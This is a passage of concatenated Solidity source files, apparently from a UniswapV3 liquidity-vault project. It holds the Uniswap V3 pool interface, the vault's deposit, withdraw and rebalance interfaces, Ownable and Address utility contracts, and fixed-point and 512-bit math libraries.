function positions(bytes32 key)
external
view
returns (
uint128 _liquidity,
uint256 feeGrowthInside0LastX128,
uint256 feeGrowthInside1LastX128,
uint128 tokensOwed0,
uint128 tokensOwed1
);
/// @notice Returns data about a specific observation index
/// @param index The element of the observations array to fetch
/// @dev You most likely want to use #observe() instead of this method to get an observation as of some amount of time
/// ago, rather than at a specific index in the array.
/// @return blockTimestamp The timestamp of the observation,
/// Returns tickCumulative the tick multiplied by seconds elapsed for the life of the pool as of the observation timestamp,
/// Returns secondsPerLiquidityCumulativeX128 the seconds per in range liquidity for the life of the pool as of the observation timestamp,
/// Returns initialized whether the observation has been initialized and the values are safe to use
function observations(uint256 index)
external
view
returns (
uint32 blockTimestamp,
int56 tickCumulative,
uint160 secondsPerLiquidityCumulativeX128,
bool initialized
);
/// @notice Returns the cumulative tick and liquidity as of each timestamp `secondsAgo` from the current block timestamp
/// @dev To get a time weighted average tick or liquidity-in-range, you must call this with two values, one representing
/// the beginning of the period and another for the end of the period. E.g., to get the last hour time-weighted average tick,
/// you must call it with secondsAgos = [3600, 0].
/// @dev The time weighted average tick represents the geometric time weighted average price of the pool, in
/// log base sqrt(1.0001) of token1 / token0. The TickMath library can be used to go from a tick value to a ratio.
/// @param secondsAgos From how long ago each cumulative tick and liquidity value should be returned
/// @return tickCumulatives Cumulative tick values as of each `secondsAgos` from the current block timestamp
/// @return secondsPerLiquidityCumulativeX128s Cumulative seconds per liquidity-in-range value as of each `secondsAgos` from the current block
/// timestamp
function observe(uint32[] calldata secondsAgos)
external
view
returns (int56[] memory tickCumulatives, uint160[] memory secondsPerLiquidityCumulativeX128s);
/// @notice Returns a snapshot of the tick cumulative, seconds per liquidity and seconds inside a tick range
/// @dev Snapshots must only be compared to other snapshots, taken over a period for which a position existed.
/// I.e., snapshots cannot be compared if a position is not held for the entire period between when the first
/// snapshot is taken and the second snapshot is taken.
/// @param tickLower The lower tick of the range
/// @param tickUpper The upper tick of the range
/// @return tickCumulativeInside The snapshot of the tick accumulator for the range
/// @return secondsPerLiquidityInsideX128 The snapshot of seconds per liquidity for the range
/// @return secondsInside The snapshot of seconds per liquidity for the range
function snapshotCumulativesInside(int24 tickLower, int24 tickUpper)
external
view
returns (
int56 tickCumulativeInside,
uint160 secondsPerLiquidityInsideX128,
uint32 secondsInside
);
/// @notice Sets the initial price for the pool
/// @dev Price is represented as a sqrt(amountToken1/amountToken0) Q64.96 value
/// @param sqrtPriceX96 the initial sqrt price of the pool as a Q64.96
function initialize(uint160 sqrtPriceX96) external;
/// @notice Adds liquidity for the given recipient/tickLower/tickUpper position
/// @dev The caller of this method receives a callback in the form of IUniswapV3MintCallback#uniswapV3MintCallback
/// in which they must pay any token0 or token1 owed for the liquidity. The amount of token0/token1 due depends
/// on tickLower, tickUpper, the amount of liquidity, and the current price.
/// @param recipient The address for which the liquidity will be created
/// @param tickLower The lower tick of the position in which to add liquidity
/// @param tickUpper The upper tick of the position in which to add liquidity
/// @param amount The amount of liquidity to mint
/// @param data Any data that should be passed through to the callback
/// @return amount0 The amount of token0 that was paid to mint the given amount of liquidity. Matches the value in the callback
/// @return amount1 The amount of token1 that was paid to mint the given amount of liquidity. Matches the value in the callback
function mint(
address recipient,
int24 tickLower,
int24 tickUpper,
uint128 amount,
bytes calldata data
) external returns (uint256 amount0, uint256 amount1);
/// @notice Collects tokens owed to a position
/// @dev Does not recompute fees earned, which must be done either via mint or burn of any amount of liquidity.
/// Collect must be called by the position owner. To withdraw only token0 or only token1, amount0Requested or
/// amount1Requested may be set to zero. To withdraw all tokens owed, caller may pass any value greater than the
/// actual tokens owed, e.g. type(uint128).max. Tokens owed may be from accumulated swap fees or burned liquidity.
/// @param recipient The address which should receive the fees collected
/// @param tickLower The lower tick of the position for which to collect fees
/// @param tickUpper The upper tick of the position for which to collect fees
/// @param amount0Requested How much token0 should be withdrawn from the fees owed
/// @param amount1Requested How much token1 should be withdrawn from the fees owed
/// @return amount0 The amount of fees collected in token0
/// @return amount1 The amount of fees collected in token1
function collect(
address recipient,
int24 tickLower,
int24 tickUpper,
uint128 amount0Requested,
uint128 amount1Requested
) external returns (uint128 amount0, uint128 amount1);
/// @notice Burn liquidity from the sender and account tokens owed for the liquidity to the position
/// @dev Can be used to trigger a recalculation of fees owed to a position by calling with an amount of 0
/// @dev Fees must be collected separately via a call to #collect
/// @param tickLower The lower tick of the position for which to burn liquidity
/// @param tickUpper The upper tick of the position for which to burn liquidity
/// @param amount How much liquidity to burn
/// @return amount0 The amount of token0 sent to the recipient
/// @return amount1 The amount of token1 sent to the recipient
function burn(
int24 tickLower,
int24 tickUpper,
uint128 amount
) external returns (uint256 amount0, uint256 amount1);
/// @notice Swap token0 for token1, or token1 for token0
/// @dev The caller of this method receives a callback in the form of IUniswapV3SwapCallback#uniswapV3SwapCallback
/// @param recipient The address to receive the output of the swap
/// @param zeroForOne The direction of the swap, true for token0 to token1, false for token1 to token0
/// @param amountSpecified The amount of the swap, which implicitly configures the swap as exact input (positive), or exact output (negative)
/// @param sqrtPriceLimitX96 The Q64.96 sqrt price limit. If zero for one, the price cannot be less than this
/// value after the swap. If one for zero, the price cannot be greater than this value after the swap
/// @param data Any data to be passed through to the callback
/// @return amount0 The delta of the balance of token0 of the pool, exact when negative, minimum when positive
/// @return amount1 The delta of the balance of token1 of the pool, exact when negative, minimum when positive
function swap(
address recipient,
bool zeroForOne,
int256 amountSpecified,
uint160 sqrtPriceLimitX96,
bytes calldata data
) external returns (int256 amount0, int256 amount1);
/// @notice Receive token0 and/or token1 and pay it back, plus a fee, in the callback
/// @dev The caller of this method receives a callback in the form of IUniswapV3FlashCallback#uniswapV3FlashCallback
/// @dev Can be used to donate underlying tokens pro-rata to currently in-range liquidity providers by calling
/// with 0 amount{0,1} and sending the donation amount(s) from the callback
/// @param recipient The address which will receive the token0 and token1 amounts
/// @param amount0 The amount of token0 to send
/// @param amount1 The amount of token1 to send
/// @param data Any data to be passed through to the callback
function flash(
address recipient,
uint256 amount0,
uint256 amount1,
bytes calldata data
) external;
/// @notice Increase the maximum number of price and liquidity observations that this pool will store
/// @dev This method is no-op if the pool already has an observationCardinalityNext greater than or equal to
/// the input observationCardinalityNext.
/// @param observationCardinalityNext The desired minimum number of observations for the pool to store
function increaseObservationCardinalityNext(uint16 observationCardinalityNext) external;
/// @notice Set the denominator of the protocol's % share of the fees
/// @param feeProtocol0 new protocol fee for token0 of the pool
/// @param feeProtocol1 new protocol fee for token1 of the pool
function setFeeProtocol(uint8 feeProtocol0, uint8 feeProtocol1) external;
/// @notice Collect the protocol fee accrued to the pool
/// @param recipient The address to which collected protocol fees should be sent
/// @param amount0Requested The maximum amount of token0 to send, can be 0 to collect fees in only token1
/// @param amount1Requested The maximum amount of token1 to send, can be 0 to collect fees in only token0
/// @return amount0 The protocol fee collected in token0
/// @return amount1 The protocol fee collected in token1
function collectProtocol(
address recipient,
uint128 amount0Requested,
uint128 amount1Requested
) external returns (uint128 amount0, uint128 amount1);
/// @notice Emitted exactly once by a pool when #initialize is first called on the pool
/// @dev Mint/Burn/Swap cannot be emitted by the pool before Initialize
/// @param sqrtPriceX96 The initial sqrt price of the pool, as a Q64.96
/// @param tick The initial tick of the pool, i.e. log base 1.0001 of the starting price of the pool
event Initialize(uint160 sqrtPriceX96, int24 tick);
/// @notice Emitted when liquidity is minted for a given position
/// @param sender The address that minted the liquidity
/// @param owner The owner of the position and recipient of any minted liquidity
/// @param tickLower The lower tick of the position
/// @param tickUpper The upper tick of the position
/// @param amount The amount of liquidity minted to the position range
/// @param amount0 How much token0 was required for the minted liquidity
/// @param amount1 How much token1 was required for the minted liquidity
event Mint(
address sender,
address indexed owner,
int24 indexed tickLower,
int24 indexed tickUpper,
uint128 amount,
uint256 amount0,
uint256 amount1
);
/// @notice Emitted when fees are collected by the owner of a position
/// @dev Collect events may be emitted with zero amount0 and amount1 when the caller chooses not to collect fees
/// @param owner The owner of the position for which fees are collected
/// @param tickLower The lower tick of the position
/// @param tickUpper The upper tick of the position
/// @param amount0 The amount of token0 fees collected
/// @param amount1 The amount of token1 fees collected
event Collect(
address indexed owner,
address recipient,
int24 indexed tickLower,
int24 indexed tickUpper,
uint128 amount0,
uint128 amount1
);
/// @notice Emitted when a position's liquidity is removed
/// @dev Does not withdraw any fees earned by the liquidity position, which must be withdrawn via #collect
/// @param owner The owner of the position for which liquidity is removed
/// @param tickLower The lower tick of the position
/// @param tickUpper The upper tick of the position
/// @param amount The amount of liquidity to remove
/// @param amount0 The amount of token0 withdrawn
/// @param amount1 The amount of token1 withdrawn
event Burn(
address indexed owner,
int24 indexed tickLower,
int24 indexed tickUpper,
uint128 amount,
uint256 amount0,
uint256 amount1
);
/// @notice Emitted by the pool for any swaps between token0 and token1
/// @param sender The address that initiated the swap call, and that received the callback
/// @param recipient The address that received the output of the swap
/// @param amount0 The delta of the token0 balance of the pool
/// @param amount1 The delta of the token1 balance of the pool
/// @param sqrtPriceX96 The sqrt(price) of the pool after the swap, as a Q64.96
/// @param liquidity The liquidity of the pool after the swap
/// @param tick The log base 1.0001 of price of the pool after the swap
event Swap(
address indexed sender,
address indexed recipient,
int256 amount0,
int256 amount1,
uint160 sqrtPriceX96,
uint128 liquidity,
int24 tick
);
/// @notice Emitted by the pool for any flashes of token0/token1
/// @param sender The address that initiated the swap call, and that received the callback
/// @param recipient The address that received the tokens from flash
/// @param amount0 The amount of token0 that was flashed
/// @param amount1 The amount of token1 that was flashed
/// @param paid0 The amount of token0 paid for the flash, which can exceed the amount0 plus the fee
/// @param paid1 The amount of token1 paid for the flash, which can exceed the amount1 plus the fee
event Flash(
address indexed sender,
address indexed recipient,
uint256 amount0,
uint256 amount1,
uint256 paid0,
uint256 paid1
);
/// @notice Emitted by the pool for increases to the number of observations that can be stored
/// @dev observationCardinalityNext is not the observation cardinality until an observation is written at the index
/// just before a mint/swap/burn.
/// @param observationCardinalityNextOld The previous value of the next observation cardinality
/// @param observationCardinalityNextNew The updated value of the next observation cardinality
event IncreaseObservationCardinalityNext(
uint16 observationCardinalityNextOld,
uint16 observationCardinalityNextNew
);
/// @notice Emitted when the protocol fee is changed by the pool
/// @param feeProtocol0Old The previous value of the token0 protocol fee
/// @param feeProtocol1Old The previous value of the token1 protocol fee
/// @param feeProtocol0New The updated value of the token0 protocol fee
/// @param feeProtocol1New The updated value of the token1 protocol fee
event SetFeeProtocol(uint8 feeProtocol0Old, uint8 feeProtocol1Old, uint8 feeProtocol0New, uint8 feeProtocol1New);
/// @notice Emitted when the collected protocol fees are withdrawn by the factory owner
/// @param sender The address that collects the protocol fees
/// @param recipient The address that receives the collected protocol fees
/// @param amount0 The amount of token0 protocol fees that is withdrawn
/// @param amount0 The amount of token1 protocol fees that is withdrawn
event CollectProtocol(address indexed sender, address indexed recipient, uint128 amount0, uint128 amount1);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
pragma abicoder v2;
import "./IVaultOwnerActions.sol";
import "./IVaultOperatorActionsV3.sol";
import "./IVaultEventsV3.sol";
import "./IUniswapV3Pool.sol";
import "./IERC20.sol";
import "../libraries/PositionHelper.sol";
/// @title The interface for a Universe Vault
/// @notice A UniswapV3 optimizer with smart rebalance strategy
interface IUniverseVaultV3 is IVaultOwnerActions, IVaultOperatorActionsV3, IVaultEventsV3{
/// @notice The first of the two tokens of the pool, sorted by address
/// @return The token contract address
function token0() external view returns (IERC20);
/// @notice The second of the two tokens of the pool, sorted by address
/// @return The token contract address
function token1() external view returns (IERC20);
/// @notice The amounts of token0 and token1 that are owed to the protocol
/// @dev Protocol fees will never exceed uint128 max in either token
function protocolFees() external view returns (uint128 fee0, uint128 fee1);
/// @notice The max share of token0 and token1 that are allowed to deposit
/// Returns maxShare0 The max share of token0
/// Returns maxShare1 The max share of token1
/// Returns maxPersonShare0 The max person share of token0
/// Returns maxPersonShare1 The max person share of token1
function maxShares() external view returns (uint256 maxShare0, uint256 maxShare1, uint256 maxPersonShare0, uint256 maxPersonShare1);
/// @notice Returns data about a specific position index
/// @return principal0 The principal of token0,
/// Returns principal1 The principal of token1,
/// Returns poolAddress The uniV3 pool address of the position,
/// Returns lowerTick The lower tick of the position,
/// Returns upperTick The upper tick of the position,
/// Returns tickSpacing The uniV3 pool tickSpacing,
/// Returns status The status of the position
function position() external view returns (
uint128 principal0,
uint128 principal1,
address poolAddress,
int24 lowerTick,
int24 upperTick,
int24 tickSpacing,
bool status
);
/// @notice The shares of token0 and token1 that are owed to address
/// @return share0 The share amount of token0,
/// Returns share1 The share amount of token1,
function getUserShares(address user) external view returns (uint256 share0, uint256 share1);
/// @notice The Token Amount that are owed to address
/// @return amount0 The amount of token0,
/// Returns amount1 The amount of token1,
function getUserBals(address user) external view returns (uint256 amount0, uint256 amount1);
/// @notice The total Share Amount of token0
/// @return Share Amount
function totalShare0() external view returns (uint256);
/// @notice The total Share Amount of token1
/// @return Share Amount
function totalShare1() external view returns (uint256);
/// @notice Get the vault's total balance of token0 and token1
/// @return The amount of token0 and token1
function getTotalAmounts() external view returns (uint256, uint256, uint256, uint256, uint256, uint256);
/// @notice Get Current Pnl of position in uniswapV3
/// @return rate PNL
/// @return param safety Param prevent arbitrage
function getPNL() external view returns (uint256 rate, uint256 param);
/// @notice Get the share\amount0\amount1 info based of quantity of deposit amounts
/// @param amount0Desired The amount of token0 want to deposit
/// @param amount1Desired The amount of token1 want to deposit
/// @return The share0\share1 corresponding to the investment amount
function getShares(
uint256 amount0Desired,
uint256 amount1Desired
) external view returns (uint256, uint256);
/// @notice Get the amount of token0 and token1 corresponding to specific share amount
/// @param share0 The share amount
/// @param share1 The share amount
/// @return The amount of token0 and token1 corresponding to specific share amount
function getBals(uint256 share0, uint256 share1) external view returns (uint256, uint256);
/// @notice Deposit token into this contract
/// @param amount0Desired The amount of token0 want to deposit
/// @param amount1Desired The amount of token1 want to deposit
/// @return The share corresponding to the investment amount
function deposit(
uint256 amount0Desired,
uint256 amount1Desired
) external returns(uint256, uint256) ;
/// @notice Deposit token into this contract
/// @param amount0Desired The amount of token0 want to deposit
/// @param amount1Desired The amount of token1 want to deposit
/// @param to who will get The share
/// @return The share corresponding to the investment amount
function deposit(
uint256 amount0Desired,
uint256 amount1Desired,
address to
) external returns(uint256, uint256) ;
/// @notice Withdraw token by user
/// @param share0 The share amount of token0
/// @param share1 The share amount of token1
function withdraw(uint256 share0, uint256 share1) external returns(uint256, uint256);
/// @notice Called to `msg.sender` after executing a swap via IUniswapV3Pool#swap.
/// @param amount0Delta The amount of token0 that was sent (negative) or must be received (positive) by the pool by
/// the end of the swap. If positive, the callback must send that amount of token0 to the pool.
/// @param amount1Delta The amount of token1 that was sent (negative) or must be received (positive) by the pool by
/// the end of the swap. If positive, the callback must send that amount of token1 to the pool.
/// @param data Any data passed through by the caller via the IUniswapV3PoolActions#swap call
function uniswapV3SwapCallback(
int256 amount0Delta,
int256 amount1Delta,
bytes calldata data
) external;
/// @notice Called to `msg.sender` after minting liquidity to a position from IUniswapV3Pool#mint.
/// @param amount0 The amount of token0 due to the pool for the minted liquidity
/// @param amount1 The amount of token1 due to the pool for the minted liquidity
/// @param data Any data passed through by the caller via the IUniswapV3PoolActions#mint call
function uniswapV3MintCallback(
uint256 amount0,
uint256 amount1,
bytes calldata data
) external;
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Events emitted by a vault
/// @notice Contains all events emitted by the vault
interface IVaultEventsV3 {
/// @notice Emitted when user deposit token in vault
/// @param user The address that deposited token in vault
/// @param share0 The share token amount corresponding to the deposit
/// @param share1 The share token amount corresponding to the deposit
/// @param amount0 The amount of token0 want to deposit
/// @param amount1 The amount of token1 want to deposit
event Deposit(
address indexed user,
uint256 share0,
uint256 share1,
uint256 amount0,
uint256 amount1
);
/// @notice Emitted when user withdraw their share in vault
/// @param user The address that withdraw share in vault
/// @param share0 The amount share to withdraw
/// @param share1 The amount share to withdraw
/// @param amount0 How much token0 was taken out by user
/// @param amount1 How much token1 was taken out by user
event Withdraw(
address indexed user,
uint256 share0,
uint256 share1,
uint256 amount0,
uint256 amount1
);
/// @notice Emitted when fees collected from uniV3
/// @param feesFromPool0 How much token0 was collected
/// @param feesFromPool1 How much token1 was collected
event CollectFees(
uint256 feesFromPool0,
uint256 feesFromPool1
);
/// @notice Emitted when add or delete contract white list
/// @param _address The contact address
/// @param status true is add false is delete
event UpdateWhiteList(
address indexed _address,
bool status
);
/// @notice Emitted when change manager address
/// @param _operator The manager address
event ChangeManger(
address indexed _operator
);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Permissioned pool actions
/// @notice Contains pool methods that may only be called by the vault operator
interface IVaultOperatorActionsV3 {
function initPosition(address, int24, int24) external;
/// @notice Set the available uniV3 pool address
/// @param _poolFee The uniV3 pool fee
function addPool(uint24 _poolFee) external;
/// @notice Set the core params of the vault
/// @param _swapPool Set the uniV3 pool address for trading
/// @param _performanceFee Set new protocol fee
/// @param _diffTick Set max rebalance tick bias
/// @param _safetyParam The safety param
function changeConfig(
address _swapPool,
uint8 _performanceFee,
uint24 _diffTick,
uint32 _safetyParam
) external;
/// @notice Set the max share params of the vault
/// @param _maxShare0 Set max token0 share
/// @param _maxShare1 Set max token1 share
/// @param _maxPersonShare0 Set one person max token0 share
/// @param _maxPersonShare1 Set one person max token1 share
function changeMaxShare(
uint256 _maxShare0,
uint256 _maxShare1,
uint256 _maxPersonShare0,
uint256 _maxPersonShare1
) external;
/// @notice Stop mining of specified positions
/// @param _profitScale The profit distribution param
function avoidRisk(uint8 _profitScale) external;
// /// @notice Reinvest the main position
// /// @param minSwapToken1 The minimum swap amount of token1
// function reInvest() external;
/// @notice Change a position's uniV3 pool address
/// @param newPoolAddress The the new uniV3 pool address
/// @param _lowerTick The lower tick for the position
/// @param _upperTick The upper tick for the position
/// @param _spotTick The desire middle tick in the new pool
/// @param _profitScale The profit distribution param
function changePool(
address newPoolAddress,
int24 _lowerTick,
int24 _upperTick,
int24 _spotTick,
uint8 _profitScale
) external;
/// @notice Do rebalance of one position
/// @param _lowerTick The lower tick for the position after rebalance
/// @param _upperTick The upper tick for the position after rebalance
/// @param _spotTick The current tick for ready rebalance
/// @param _profitScale The profit distribution param
function forceReBalance(
int24 _lowerTick,
int24 _upperTick,
int24 _spotTick,
uint8 _profitScale
) external;
/// @notice Do rebalance of one position
/// @param reBalanceThreshold The minimum tick bias to do rebalance
/// @param band The new price range band param
/// @param _spotTick The current tick for ready rebalance
/// @param _profitScale The profit distribution param
function reBalance(
int24 reBalanceThreshold,
int24 band,
int24 _spotTick,
uint8 _profitScale
) external;
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Permissioned pool actions
/// @notice Contains pool methods that may only be called by the vault owner
interface IVaultOwnerActions {
/// @notice Set new operator address
/// @param _operator Operator address
function changeManager(address _operator) external;
/// @notice Update address in the whitelist
/// @param _address Address add to whitelist
/// @param status Add or Remove from whitelist
function updateWhiteList(address _address, bool status) external;
/// @notice Collect the protocol fee to a address
/// @param to The address where the fee collected to
function withdrawPerformanceFee(address to) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "./Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.4.0;
/// @title FixedPoint128
/// @notice A library for handling binary fixed point numbers, see https://en.wikipedia.org/wiki/Q_(number_format)
library FixedPoint128 {
uint256 internal constant Q128 = 0x100000000000000000000000000000000;
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.4.0;
/// @title FixedPoint96
/// @notice A library for handling binary fixed point numbers, see https://en.wikipedia.org/wiki/Q_(number_format)
/// @dev Used in SqrtPriceMath.sol
library FixedPoint96 {
uint8 internal constant RESOLUTION = 96;
uint256 internal constant Q96 = 0x1000000000000000000000000;
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.4.0;
/// @title Contains 512-bit math functions
/// @notice Facilitates multiplication and division that can have overflow of an intermediate value without any loss of precision
/// @dev Handles "phantom overflow" i.e., allows multiplication and division where an intermediate value overflows 256 bits
library FullMath {
/// @notice Calculates floor(a×b÷denominator) with full precision. Throws if result overflows a uint256 or denominator == 0
/// @param a The multiplicand
/// @param b The multiplier
/// @param denominator The divisor
/// @return result The 256-bit result
/// @dev Credit to Remco Bloemen under MIT license https://xn--2-umb.com/21/muldiv
function mulDiv(
uint256 a,
uint256 b,
uint256 denominator
) internal pure returns (uint256 result) {
// 512-bit multiply [prod1 prod0] = a * b
// Compute the product mod 2**256 and mod 2**256 - 1
// then use the Chinese Remainder Theorem to reconstruct
// the 512 bit result. The result is stored in two 256
// variables such that product = prod1 * 2**256 + prod0
uint256 prod0; // Least significant 256 bits of the product
uint256 prod1; // Most significant 256 bits of the product
assembly {
let mm := mulmod(a, b, not(0))
prod0 := mul(a, b)
prod1 := sub(sub(mm, prod0), lt(mm, prod0))
}
// Handle non-overflow cases, 256 by 256 division
if (prod1 == 0) {
require(denominator > 0);
assembly {
result := div(prod0, denominator)
}
return result;
}
// Make sure the result is less than 2**256.
// Also prevents denominator == 0
require(denominator > prod1);
///////////////////////////////////////////////
// 512 by 256 division.
///////////////////////////////////////////////
// Make division exact by subtracting the remainder from [prod1 prod0]
// Compute remainder using mulmod
uint256 remainder;
assembly {
remainder := mulmod(a, b, denominator)
}
// Subtract 256 bit number from 512 bit number
assembly {
prod1 := sub(prod1, gt(remainder, prod0))
prod0 := sub(prod0, remainder)
}
// Factor powers of two out of denominator
// Compute largest power of two divisor of denominator.
// Always >= 1.
uint256 twos = -denominator & denominator;
// Divide denominator by power of two
assembly {
denominator := div(denominator, twos)
}
// Divide [prod1 prod0] by the factors of two
assembly {
prod0 := div(prod0, twos)
}
// Shift in bits from prod1 into prod0. For this we need
// to flip `twos` such that it is 2**256 / twos.
// If twos is zero, then it becomes one
assembly {
twos := add(div(sub(0, twos), twos), 1)
}
prod0 |= prod1 * twos;
// Invert denominator mod 2**256
// Now that denominator is an odd number, it has an inverse
// modulo 2**256 such that denominator * inv = 1 mod 2**256.
// Compute the inverse by starting with a seed that is correct
// correct for four bits. That is, denominator * inv = 1 mod 2**4
uint256 inv = (3 * denominator) ^ 2;
// Now use Newton-Raphson iteration to improve the precision.
// Thanks to Hensel's lifting lemma, this also works in modular
// arithmetic, doubling the correct bits in each step.
inv *= 2 - denominator * inv; // inverse mod 2**8
inv *= 2 - denominator * inv; // inverse mod 2**16
inv *= 2 - denominator * inv; // inverse mod 2**32
inv *= 2 - denominator * inv; // inverse mod 2**64
inv *= 2 - denominator * inv; // inverse mod 2**128
inv *= 2 - denominator * inv; // inverse mod 2**256
// Because the division is now exact we can divide by multiplying
// with the modular inverse of denominator. This will give us the
// correct result modulo 2**256. Since the precoditions guarantee
// that the outcome is less than 2**256, this is the final result.
// We don't need to compute the high bits of the result and prod1
// is no longer required.
result = prod0 * inv;
return result;
}
/// @notice Calculates ceil(a×b÷denominator) with full precision. Throws if result overflows a uint256 or denominator == 0
/// @param a The multiplicand
/// @param b The multiplier
/// @param denominator The divisor
/// @return result The 256-bit result
function mulDivRoundingUp(
uint256 a,
uint256 b,
uint256 denominator
